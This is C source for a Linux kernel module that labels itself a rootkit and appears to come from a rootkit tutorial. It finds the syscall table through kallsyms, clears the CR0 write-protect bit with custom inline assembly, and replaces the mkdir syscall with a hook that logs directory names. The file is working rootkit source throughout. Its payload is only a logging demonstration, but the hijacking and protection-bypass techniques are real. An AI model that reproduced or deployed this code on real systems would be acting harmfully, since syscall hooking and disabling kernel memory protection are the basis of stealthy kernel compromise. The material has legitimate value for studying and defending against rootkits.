#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/syscalls.h>
#include <linux/kallsyms.h>
#include <linux/namei.h>

MODULE_LICENSE("GPL");
MODULE_AUTHOR("TheXcellerator");
MODULE_DESCRIPTION("Syscall Table Hijacking");
MODULE_VERSION("0.01");

static unsigned long * __sys_call_table;

/* Despite what's written in include/linux/syscalls.h,
 * we have to declare the original syscall as taking
 * a single pt_regs struct as an argument. This enables
 * us to unpack this struct in our hook syscall and access
 * the arguments that are being passed, while still being
 * able to just pass this struct on again to the real syscall
 * without any issues. This way, we don't have to unpack
 * EVERY argument from the struct - only the ones we care about.
 *
 * Note that asmlinkage is used to prevent GCC from being
 * "helpful" by allocation arguments on the stack */
typedef asmlinkage long (*orig_mkdir_t)(const struct pt_regs *);
orig_mkdir_t orig_mkdir;

/* This is our function hook.
 *
 * Getting this to work is a little awkward. We have to un-pack
 * the arguments from the pt_regs struct in order to be able to
 * reference the new directory name without getting a null-pointer
 * dereference.
 *
 * The pt_regs struct contains all the arguments passed to the syscall
 * in each register. Looking up sys_mkdir, pathname is stored in rdi, so
 * simply dereferencing regs->di gives the pathname argument.
 * See arch/x86/include/asm/ptrace.h for more info.
 *
 * Note that we call the real sys_mkdir() function at the end */
asmlinkage int hook_mkdir(const struct pt_regs *regs)
{
    char __user *pathname = (char *)regs->di;
    char dir_name[NAME_MAX] = {0};

    /* Copy the directory name from userspace (pathname, from
     * the pt_regs struct, to kernelspace (dir_name) so that we
     * can print it out to the kernel buffer */
    long error = strncpy_from_user(dir_name, pathname, NAME_MAX);

    if (error > 0)
        printk(KERN_INFO "rootkit: Trying to create directory with name: %s\n", dir_name);

    /* Pass the pt_regs struct along to the original sys_mkdir syscall */
    orig_mkdir(regs);
    return 0;
}

/* The built in linux write_cr0() function stops us from modifying
 * the WP bit, so we write our own instead */
inline void cr0_write(unsigned long cr0)
{
    asm volatile("mov %0,%%cr0" : "+r"(cr0), "+m"(__force_order));
}

/* Bit 16 in the cr0 register is the W(rite) P(rotection) bit which
 * determines whether read-only pages can be written to. We are modifying
 * the syscall table, so we need to unset it first */
static inline void protect_memory(void)
{
    unsigned long cr0 = read_cr0();
    set_bit(16, &cr0);
    cr0_write(cr0);
}

static inline void unprotect_memory(void)
{
    unsigned long cr0 = read_cr0();
    clear_bit(16, &cr0);
    cr0_write(cr0);
}

/* Module initialization function */
static int __init rootkit_init(void)
{
    /* Grab the syscall table, and make sure we succeeded */
    __sys_call_table = kallsyms_lookup_name("sys_call_table");

    /* Grab the function pointer to the real sys_mkdir syscall */
    orig_mkdir = (orig_mkdir_t)__sys_call_table[__NR_mkdir];

    printk(KERN_INFO "rootkit: Loaded >:-)\n");
    printk(KERN_DEBUG "rootkit: Found the syscall table at 0x%lx\n", __sys_call_table);
    printk(KERN_DEBUG "rootkit: mkdir @ 0x%lx\n", orig_mkdir);
    
    unprotect_memory();

    printk(KERN_INFO "rootkit: hooking mkdir syscall\n");
    /* Patch the function pointer to sys_mkdir with our hook instead */
    __sys_call_table[__NR_mkdir] = (unsigned long)hook_mkdir;

    protect_memory();

    return 0;
}

static void __exit rootkit_exit(void)
{
    unprotect_memory();
    
    printk(KERN_INFO "rootkit: restoring mkdir syscall\n");
    __sys_call_table[__NR_mkdir] = (unsigned long)orig_mkdir;
    
    protect_memory();
    
    printk(KERN_INFO "rootkit: Unloaded :-(\n");
}

module_init(rootkit_init);
module_exit(rootkit_exit);
